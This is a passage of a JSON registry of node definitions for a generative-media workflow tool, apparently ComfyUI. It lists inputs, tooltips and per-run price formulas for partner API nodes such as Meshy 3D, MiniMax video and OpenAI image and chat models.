696}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"], "prompt": ["PROMPT"], "extra_pnginfo": ["EXTRA_PNGINFO"]}}, "input_order": {"required": ["rig_task_id", "action_id"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source", "prompt", "extra_pnginfo"]}, "is_input_list": false, "output": ["STRING", "FILE_3D_GLB", "FILE_3D_FBX"], "output_is_list": [false, false, false], "output_name": ["model_file", "GLB", "FBX"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "MeshyAnimateModelNode", "display_name": "Meshy: Animate Model", "description": "Apply a specific animation action to a previously rigged character.", "python_module": "comfy_api_nodes.nodes_meshy", "category": "partner/3d/Meshy", "output_node": true, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.12}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "MeshyTextureNode": {"input": {"required": {"model": ["COMBO", {"multiselect": false, "options": ["latest"]}], "meshy_task_id": ["MESHY_TASK_ID", {}], "enable_original_uv": ["BOOLEAN", {"tooltip": "Use the original UV of the model instead of generating new UVs. When enabled, Meshy preserves existing textures from the uploaded model. If the model has no original UV, the quality of the output might not be as good.", "advanced": true, "default": true}], "pbr": ["BOOLEAN", {"advanced": true, "default": false}], "text_style_prompt": ["STRING", {"tooltip": "Describe your desired texture style of the object using text. Maximum 600 characters.Maximum 600 characters. Cannot be used at the same time as 'image_style'.", "default": "", "multiline": true}]}, "optional": {"image_style": ["IMAGE", {"tooltip": "A 2d image to guide the texturing process. Can not be used at the same time with 'text_style_prompt'."}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"], "prompt": ["PROMPT"], "extra_pnginfo": ["EXTRA_PNGINFO"]}}, "input_order": {"required": ["model", "meshy_task_id", "enable_original_uv", "pbr", "text_style_prompt"], "optional": ["image_style"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source", "prompt", "extra_pnginfo"]}, "is_input_list": false, "output": ["STRING", "MODEL_TASK_ID", "FILE_3D_GLB", "FILE_3D_FBX"], "output_is_list": [false, false, false, false], "output_name": ["model_file", "meshy_task_id", "GLB", "FBX"], "output_tooltips": [null, null, null, null], "output_matchtypes": null, "name": "MeshyTextureNode", "display_name": "Meshy: Texture Model", "description": "", "python_module": "comfy_api_nodes.nodes_meshy", "category": "partner/3d/Meshy", "output_node": true, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.4}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "MinimaxTextToVideoNode": {"input": {"required": {"prompt_text": ["STRING", {"tooltip": "Text prompt to guide the video generation", "default": "", "multiline": true}], "model": ["COMBO", {"tooltip": "Model to use for video generation", "default": "T2V-01", "multiselect": false, "options": ["T2V-01", "T2V-01-Director"]}]}, "optional": {"seed": ["INT", {"tooltip": "The random seed used for creating the noise.", "default": 0, "min": 0, "max": 18446744073709551615, "step": 1, "control_after_generate": true}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt_text", "model"], "optional": ["seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "MinimaxTextToVideoNode", "display_name": "MiniMax Text to Video", "description": "Generates videos synchronously based on a prompt, and optional parameters.", "python_module": "comfy_api_nodes.nodes_minimax", "category": "partner/video/MiniMax", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.43}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "MinimaxImageToVideoNode": {"input": {"required": {"image": ["IMAGE", {"tooltip": "Image to use as first frame of video generation"}], "prompt_text": ["STRING", {"tooltip": "Text prompt to guide the video generation", "default": "", "multiline": true}], "model": ["COMBO", {"tooltip": "Model to use for video generation", "default": "I2V-01", "multiselect": false, "options": ["I2V-01-Director", "I2V-01", "I2V-01-live"]}]}, "optional": {"seed": ["INT", {"tooltip": "The random seed used for creating the noise.", "default": 0, "min": 0, "max": 18446744073709551615, "step": 1, "control_after_generate": true}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["image", "prompt_text", "model"], "optional": ["seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "MinimaxImageToVideoNode", "display_name": "MiniMax Image to Video", "description": "Generates videos synchronously based on an image and prompt, and optional parameters.", "python_module": "comfy_api_nodes.nodes_minimax", "category": "partner/video/MiniMax", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.43}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "MinimaxHailuoVideoNode": {"input": {"required": {"prompt_text": ["STRING", {"tooltip": "Text prompt to guide the video generation.", "default": "", "multiline": true}]}, "optional": {"seed": ["INT", {"tooltip": "The random seed used for creating the noise.", "default": 0, "min": 0, "max": 18446744073709551615, "step": 1, "control_after_generate": true}], "first_frame_image": ["IMAGE", {"tooltip": "Optional image to use as the first frame to generate a video."}], "prompt_optimizer": ["BOOLEAN", {"tooltip": "Optimize prompt to improve generation quality when needed.", "default": true}], "duration": ["COMBO", {"tooltip": "The length of the output video in seconds.", "default": 6, "multiselect": false, "options": [6, 10]}], "resolution": ["COMBO", {"tooltip": "The dimensions of the video display. 1080p is 1920x1080, 768p is 1366x768.", "default": "768P", "multiselect": false, "options": ["768P", "1080P"]}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt_text"], "optional": ["seed", "first_frame_image", "prompt_optimizer", "duration", "resolution"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "MinimaxHailuoVideoNode", "display_name": "MiniMax Hailuo Video", "description": "Generates videos from prompt, with optional start frame using the new MiniMax Hailuo-02 model.", "python_module": "comfy_api_nodes.nodes_minimax", "category": "partner/video/MiniMax", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "resolution", "type": "COMBO"}, {"name": "duration", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $prices := {\n \"768p\": {\"6\": 0.28, \"10\": 0.56},\n \"1080p\": {\"6\": 0.49}\n };\n $resPrices := $lookup($prices, $lowercase(widgets.resolution));\n $price := $lookup($resPrices, $string(widgets.duration));\n {\"type\":\"usd\",\"usd\": $price ? $price : 0.43}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "OpenAIDalle2": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Text prompt for DALL\u00b7E", "default": "", "multiline": true}]}, "optional": {"seed": ["INT", {"tooltip": "not implemented yet in backend", "default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}], "size": ["COMBO", {"tooltip": "Image size", "default": "1024x1024", "multiselect": false, "options": ["256x256", "512x512", "1024x1024"]}], "n": ["INT", {"tooltip": "How many images to generate", "default": 1, "min": 1, "max": 8, "step": 1, "display": "number"}], "image": ["IMAGE", {"tooltip": "Optional reference image for image editing."}], "mask": ["MASK", {"tooltip": "Optional mask for inpainting (white areas will be replaced)"}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt"], "optional": ["seed", "size", "n", "image", "mask"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "OpenAIDalle2", "display_name": "OpenAI DALL\u00b7E 2", "description": "Generates images synchronously via OpenAI's DALL\u00b7E 2 endpoint.", "python_module": "comfy_api_nodes.nodes_openai", "category": "partner/image/OpenAI", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "size", "type": "COMBO"}, {"name": "n", "type": "INT"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $size := widgets.size;\n $nRaw := widgets.n;\n $n := ($nRaw != null and $nRaw != 0) ? $nRaw : 1;\n\n $base :=\n $contains($size, \"256x256\") ? 0.016 :\n $contains($size, \"512x512\") ? 0.018 :\n 0.02;\n\n {\"type\":\"usd\",\"usd\": $round($base * $n, 3)}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "OpenAIDalle3": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Text prompt for DALL\u00b7E", "default": "", "multiline": true}]}, "optional": {"seed": ["INT", {"tooltip": "not implemented yet in backend", "default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}], "quality": ["COMBO", {"tooltip": "Image quality", "default": "standard", "multiselect": false, "options": ["standard", "hd"]}], "style": ["COMBO", {"tooltip": "Vivid causes the model to lean towards generating hyper-real and dramatic images. Natural causes the model to produce more natural, less hyper-real looking images.", "default": "natural", "multiselect": false, "options": ["natural", "vivid"]}], "size": ["COMBO", {"tooltip": "Image size", "default": "1024x1024", "multiselect": false, "options": ["1024x1024", "1024x1792", "1792x1024"]}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt"], "optional": ["seed", "quality", "style", "size"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "OpenAIDalle3", "display_name": "OpenAI DALL\u00b7E 3", "description": "Generates images synchronously via OpenAI's DALL\u00b7E 3 endpoint.", "python_module": "comfy_api_nodes.nodes_openai", "category": "partner/image/OpenAI", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "size", "type": "COMBO"}, {"name": "quality", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $size := widgets.size;\n $q := widgets.quality;\n $hd := $contains($q, \"hd\");\n\n $price :=\n $contains($size, \"1024x1024\")\n ? ($hd ? 0.08 : 0.04)\n : (($contains($size, \"1792x1024\") or $contains($size, \"1024x1792\"))\n ? ($hd ? 0.12 : 0.08)\n : 0.04);\n\n {\"type\":\"usd\",\"usd\": $price}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "OpenAIGPTImage1": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Text prompt for GPT Image", "default": "", "multiline": true}]}, "optional": {"seed": ["INT", {"tooltip": "not implemented yet in backend", "default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}], "quality": ["COMBO", {"tooltip": "Image quality, affects cost and generation time.", "default": "low", "multiselect": false, "options": ["low", "medium", "high"]}], "background": ["COMBO", {"tooltip": "Return image with or without background", "default": "auto", "multiselect": false, "options": ["auto", "opaque", "transparent"]}], "size": ["COMBO", {"tooltip": "Image size. Select 'Custom' to use the custom width and height (GPT Image 2 only).", "default": "auto", "multiselect": false, "options": ["auto", "1024x1024", "1024x1536", "1536x1024", "2048x2048", "2048x1152", "1152x2048", "3840x2160", "2160x3840", "Custom"]}], "n": ["INT", {"tooltip": "How many images to generate", "default": 1, "min": 1, "max": 8, "step": 1, "display": "number"}], "image": ["IMAGE", {"tooltip": "Optional reference image for image editing."}], "mask": ["MASK", {"tooltip": "Optional mask for inpainting (white areas will be replaced)"}], "model": ["COMBO", {"default": "gpt-image-2", "multiselect": false, "options": ["gpt-image-1", "gpt-image-1.5", "gpt-image-2"]}], "custom_width": ["INT", {"tooltip": "Used only when `size` is 'Custom'. Must be a multiple of 16 (GPT Image 2 only).", "default": 1024, "min": 1024, "max": 3840, "step": 16}], "custom_height": ["INT", {"tooltip": "Used only when `size` is 'Custom'. Must be a multiple of 16 (GPT Image 2 only).", "default": 1024, "min": 1024, "max": 3840, "step": 16}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt"], "optional": ["seed", "quality", "background", "size", "n", "image", "mask", "model", "custom_width", "custom_height"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "OpenAIGPTImage1", "display_name": "OpenAI GPT Image 2", "description": "Generates images synchronously via OpenAI's GPT Image endpoint.", "python_module": "comfy_api_nodes.nodes_openai", "category": "partner/image/OpenAI", "output_node": false, "deprecated": true, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "quality", "type": "COMBO"}, {"name": "n", "type": "INT"}, {"name": "model", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $ranges := {\n \"gpt-image-1\": {\n \"low\": [0.011, 0.02],\n \"medium\": [0.042, 0.07],\n \"high\": [0.167, 0.25]\n },\n \"gpt-image-1.5\": {\n \"low\": [0.009, 0.02],\n \"medium\": [0.034, 0.062],\n \"high\": [0.133, 0.22]\n },\n \"gpt-image-2\": {\n \"low\": [0.0048, 0.019],\n \"medium\": [0.041, 0.168],\n \"high\": [0.165, 0.67]\n }\n };\n $range := $lookup($lookup($ranges, widgets.model), widgets.quality);\n $nRaw := widgets.n;\n $n := ($nRaw != null and $nRaw != 0) ? $nRaw : 1;\n ($n = 1)\n ? {\"type\":\"range_usd\",\"min_usd\": $range[0], \"max_usd\": $range[1], \"format\": {\"approximate\": true}}\n : {\n \"type\":\"range_usd\",\n \"min_usd\": $range[0] * $n,\n \"max_usd\": $range[1] * $n,\n \"format\": { \"suffix\": \"/Run\", \"approximate\": true }\n }\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "OpenAIGPTImageNodeV2": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Text prompt for GPT Image", "default": "", "multiline": true}], "model": ["COMFY_DYNAMICCOMBO_V3", {"options": [{"key": "gpt-image-2", "inputs": {"required": {"size": ["COMBO", {"tooltip": "Image size. Select 'Custom' to use the custom width and height.", "default": "auto", "multiselect": false, "options": ["auto", "1024x1024", "1024x1536", "1536x1024", "2048x2048", "2048x1152", "1152x2048", "3840x2160", "2160x3840", "Custom"]}], "custom_width": ["INT", {"tooltip": "Used only when `size` is 'Custom'. Must be a multiple of 16.", "default": 1024, "min": 1024, "max": 3840, "step": 16}], "custom_height": ["INT", {"tooltip": "Used only when `size` is 'Custom'. Must be a multiple of 16.", "default": 1024, "min": 1024, "max": 3840, "step": 16}], "background": ["COMBO", {"tooltip": "Return image with or without background.", "default": "auto", "multiselect": false, "options": ["auto", "opaque"]}], "quality": ["COMBO", {"tooltip": "Image quality, affects cost and generation time.", "default": "low", "multiselect": false, "options": ["low", "medium", "high"]}], "images": ["COMFY_AUTOGROW_V3", {"tooltip": "Optional reference image(s) for image editing. Up to 16 images.", "template": {"input": {"required": {"image": ["IMAGE", {}]}}, "names": ["image_1", "image_2", "image_3", "image_4", "image_5", "image_6", "image_7", "image_8", "image_9", "image_10", "image_11", "image_12", "image_13", "image_14", "image_15", "image_16"], "min": 0}}]}, "optional": {"mask": ["MASK", {"tooltip": "Optional mask for inpainting (white areas will be replaced). Requires exactly one reference image."}]}}}, {"key": "gpt-image-1.5", "inputs": {"required": {"size": ["COMBO", {"tooltip": "Image size.", "default": "auto", "multiselect": false, "options": ["auto", "1024x1024", "1024x1536", "1536x1024"]}], "background": ["COMBO", {"tooltip": "Return image with or without background.", "default": "auto", "multiselect": false, "options": ["auto", "opaque", "transparent"]}], "quality": ["COMBO", {"tooltip": "Image quality, affects cost and generation time.", "default": "low", "multiselect": false, "options": ["low", "medium", "high"]}], "images": ["COMFY_AUTOGROW_V3", {"tooltip": "Optional reference image(s) for image editing. Up to 16 images.", "template": {"input": {"required": {"image": ["IMAGE", {}]}}, "names": ["image_1", "image_2", "image_3", "image_4", "image_5", "image_6", "image_7", "image_8", "image_9", "image_10", "image_11", "image_12", "image_13", "image_14", "image_15", "image_16"], "min": 0}}]}, "optional": {"mask": ["MASK", {"tooltip": "Optional mask for inpainting (white areas will be replaced). Requires exactly one reference image."}]}}}, {"key": "gpt-image-1", "inputs": {"required": {"size": ["COMBO", {"tooltip": "Image size.", "default": "auto", "multiselect": false, "options": ["auto", "1024x1024", "1024x1536", "1536x1024"]}], "background": ["COMBO", {"tooltip": "Return image with or without background.", "default": "auto", "multiselect": false, "options": ["auto", "opaque", "transparent"]}], "quality": ["COMBO", {"tooltip": "Image quality, affects cost and generation time.", "default": "low", "multiselect": false, "options": ["low", "medium", "high"]}], "images": ["COMFY_AUTOGROW_V3", {"tooltip": "Optional reference image(s) for image editing. Up to 16 images.", "template": {"input": {"required": {"image": ["IMAGE", {}]}}, "names": ["image_1", "image_2", "image_3", "image_4", "image_5", "image_6", "image_7", "image_8", "image_9", "image_10", "image_11", "image_12", "image_13", "image_14", "image_15", "image_16"], "min": 0}}]}, "optional": {"mask": ["MASK", {"tooltip": "Optional mask for inpainting (white areas will be replaced). Requires exactly one reference image."}]}}}]}], "n": ["INT", {"tooltip": "How many images to generate", "default": 1, "min": 1, "max": 8, "step": 1, "display": "number"}], "seed": ["INT", {"tooltip": "not implemented yet in backend", "default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "model", "n", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "OpenAIGPTImageNodeV2", "display_name": "OpenAI GPT Image 2", "description": "Generates images via OpenAI's GPT Image endpoint.", "python_module": "comfy_api_nodes.nodes_openai", "category": "partner/image/OpenAI", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMFY_DYNAMICCOMBO_V3"}, {"name": "model.quality", "type": "COMBO"}, {"name": "n", "type": "INT"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $ranges := {\n \"gpt-image-1\": {\n \"low\": [0.011, 0.02],\n \"medium\": [0.042, 0.07],\n \"high\": [0.167, 0.25]\n },\n \"gpt-image-1.5\": {\n \"low\": [0.009, 0.02],\n \"medium\": [0.034, 0.062],\n \"high\": [0.133, 0.22]\n },\n \"gpt-image-2\": {\n \"low\": [0.0048, 0.019],\n \"medium\": [0.041, 0.168],\n \"high\": [0.165, 0.67]\n }\n };\n $range := $lookup($lookup($ranges, widgets.model), $lookup(widgets, \"model.quality\"));\n $nRaw := widgets.n;\n $n := ($nRaw != null and $nRaw != 0) ? $nRaw : 1;\n ($n = 1)\n ? {\"type\":\"range_usd\",\"min_usd\": $range[0], \"max_usd\": $range[1], \"format\": {\"approximate\": true}}\n : {\n \"type\":\"range_usd\",\n \"min_usd\": $range[0] * $n,\n \"max_usd\": $range[1] * $n,\n \"format\": { \"suffix\": \"/Run\", \"approximate\": true }\n }\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "OpenAIChatNode": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Text inputs to the model, used to generate a response.", "default": "", "multiline": true}], "persist_context": ["BOOLEAN", {"tooltip": "This parameter is deprecated and has no effect.", "advanced": true, "default": false}], "model": ["COMBO", {"tooltip": "The model used to generate the response", "multiselect": false, "options": ["gpt-5.5-pro", "gpt-5.5", "gpt-5", "gpt-5-mini", "gpt-5-nano", "gpt-4.1", "gpt-4.1-mini", "gpt-4.1-nano", "o4-mini", "o3", "o1-pro", "o1"]}]}, "optional": {"images": ["IMAGE", {"tooltip": "Optional image(s) to use as context for the model. To include multiple images, you can use the Batch Images node."}], "files": ["OPENAI_INPUT_FILES", {"tooltip": "Optional file(s) to use as context for the model. Accepts inputs from the OpenAI Chat Input Files node."}], "advanced_options": ["OPENAI_CHAT_CONFIG", {"tooltip": "Optional configuration for the model. Accepts inputs from the OpenAI Chat Advanced Options node."}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "persist_context", "model"], "optional": ["images", "files", "advanced_options"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["STRING"], "output_is_list": [false], "output_name": ["STRING"], "output_tooltips": [null], "output_matchtypes": null, "name": "OpenAIChatNode", "display_name": "OpenAI ChatGPT", "description": "Generate text responses from an OpenAI model.", "python_module": "comfy_api_nodes.nodes_openai", "category": "partner/text/OpenAI", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $m := widgets.model;\n $contains($m, \"o4-mini\") ? {\n \"type\": \"list_usd\",\n \"usd\": [0.0011, 0.0044],\n \"format\": { \"approximate\": true, \"separator\": \"-\", \"suffix\": \" per 1K tokens\" }\n }\n : $contains($m, \"o1-pro\") ? {\n \"type\": \"list_usd\",\n \"usd\": [0.15, 0.6],\n \"format\": { \"approximate\": true, \"separator\": \"-\", \"suffix\": \" per 1K tokens\" }\n }\n : $contains($m, \"o1\") ? {\n \"type\": \"list_usd\",\n \"usd\": [0.015, 0.06],\n \"format\": { \"approximate\": true, \"separator\": \"-\", \"suffix\": \" per 1K tokens\" }\n }\n : $contains($m, \"o3-mini\") ? {\n \"type\": \"list_usd\",\n \"usd\": [0.0011, 0.0044],\n \"format\": { \"approximate\": true, \"separator\": \"-\", \"suffix\": \" per 1K tokens\" }\n }\n : $contains($m, \"o3\") ? {\n \"type\": \"list_usd\",\n \"usd\": [0.01, 0.04],\n \"format\": { \"approximate\": true, \"separator\": \"-\", \"suffix\": \" per 1K tokens\" }\n }\n : $contains($m, \"gpt-4.1-nano\") ? {\n \"type\": \"list_usd\",\n \"usd\": [0.0001, 0.0004],\n \"format\": { \"approximate\": true, \"separator\": \"-\", \"suffix\": \" per 1K tokens\" }\n }\n : $contains($m, \"gpt-4.1-mini\") ? {\n \"type\": \"list_usd\",\n \"usd\": [0.0004, 0.0016],\n \"format\": { \"approximate\": true, \"separator\": \"-\", \"suffix\": \" per 1K tokens\" }\n }\n : $contains($m, \"gpt-4.1\") ? {\n \"type\": \"list_usd\",\n \"usd\": [0.002, 0.008],\n \"format\": { \"approximate\": true, \"separator\": \"-\", \"suffix\": \" per 1K tokens\" }\n }\n : $contains($m, \"gpt-5.5-pro\") ? {\n \"type\": \"list_usd\",\n \"usd\": [0.03, 0.18],\n \"format\": { \"approximate\": true, \"separator\": \"-\", \"suffix\": \" per 1K tokens\" }\n }\n : $contains($m, \"gpt-5.5\") ? {\n \"type\": \"list_usd\",\n \"usd\": [0.005, 0.03],\n \"format\": { \"approximate\": true, \"separator\": \"-\", \"suffix\": \" per 1K tokens\" }\n }\n : $contains($m, \"gpt-5-nano\") ? {\n \"type\": \"list_usd\",\n \"usd\": [0.00005, 0.0004],\n \"format\": { \"approximate\": true, \"separator\": \"-\", \"suffix\": \" per 1K tokens\" }\n }\n : $contains($m, \"gpt-5-mini\") ? {\n \"type\": \"list_usd\",\n \"usd\": [0.00025, 0.002],\n \"format\": { \"approximate\": true, \"separator\": \"-\", \"suffix\": \" per 1K tokens\" }\n }\n : $contains($m, \"gpt-5\") ? {\n \"type\": \"list_usd\",\n \"usd\": [0.00125, 0.01],\n \"format\": { \"approximate\": true, \"separator\": \"-\", \"suffix\": \" per 1K tokens\" }\n }\n : {\"type\": \"text\", \"text\": \"Token-based\"}\n )\n "}, "search_aliases": null, "essentials_category": "Text Generation", "has_intermediate_output": false}, "OpenAIInputFiles": {"input": {"required": {"file": ["COMBO", {"tooltip": "Input files to include as context for the model. Only accepts text (.txt) and PDF (.pdf) files for now.", "multiselect": false, "options": []}]}, "optional": {"OPENAI_INPUT_FILES": ["OPENAI_INPUT_FILES", {"tooltip": "An optional additional file(s) to batch together with the file loaded from this node. Allows chaining of input files so that a single message can include multiple input files."}]}}, "input_order": {"required": ["file"], "optional": ["OPENAI_INPUT_FILES"]}, "is_input_list": false, "output": ["OPENAI_INPUT_FILES"], "output_is_list": [false], "output_name": ["OPENAI_INPUT_FILES"], "output_tooltips": [null], "output_matchtypes": null, "name": "OpenAIInputFiles", "display_name": "OpenAI ChatGPT Input Files", "description": "Loads and prepares input files (text, pdf, etc.) to include as inputs for the OpenAI Chat Node. The files will be read by the OpenAI model when generating a response. \ud83d\udec8 TIP: Can be chained together with other OpenAI Input File nodes.", "python_module": "comfy_api_nodes.nodes_openai", "category": "partner/text/OpenAI", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "OpenAIChatConfig": {"input": {"required": {"truncation": ["COMBO", {"tooltip": "The truncation strategy to use for the model response. auto: If the context of this response and previous ones exceeds the model's context window size, the model will truncate the response to fit the context window by dropping input items in the middle of the conversation.disabled: If a model response will exceed the context window size for a model, the request will fail with a 400 error", "advanced": true, "default": "auto", "multiselect": false, "options": ["auto", "disabled"]}]}, "optional": {"max_output_tokens": ["INT", {"tooltip": "An upper bound for the number of tokens that can be generated for a response, including visible output tokens", "advanced": true, "default": 4096, "min": 16, "max": 16384}], "instructions": ["STRING", {"tooltip": "Instructions for the model on how to generate the response", "multiline": true}]}}, "input_order": {"required": ["truncation"], "optional": ["max_output_tokens", "instructions"]}, "is_input_list": false, "output": ["OPENAI_CHAT_CONFIG"], "output_is_list": [false], "output_name": ["OPENAI_CHAT_CONFIG"], "output_tooltips": [null], "output_matchtypes": null, "name": "OpenAIChatConfig", "display_name": "OpenAI ChatGPT Advanced Options", "description": "Allows specifying advanced configuration options for the OpenAI Chat Nodes.", "python_module": "comfy_api_nodes.nodes_openai", "category": "partner/text/OpenAI", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "OpenRouterLLMNode": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Text input to the model.", "default": "", "multiline": true}], "model": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "The OpenRouter model used to generate the response.", "options": [{"key": "anthropic/claude-opus-4.7", "inputs": {"required": {"reasoning_effort": ["COMBO", {"tooltip": "Reasoning effort. 'off' disables reasoning entirely.", "advanced": true, "default": "off", "multiselect": false, "options": ["off", "low", "medium", "high"]}], "images": ["COMFY_AUTOGROW_V3", {"tooltip": "Optional reference image(s) \u2014 up to 20. Sent as URLs.", "template": {"input": {"required": {"image": ["IMAGE", {}]}}, "names": ["image_1", "image_2", "image_3", "image_4", "image_5", "image_6", "image_7", "image_8", "image_9", "image_10", 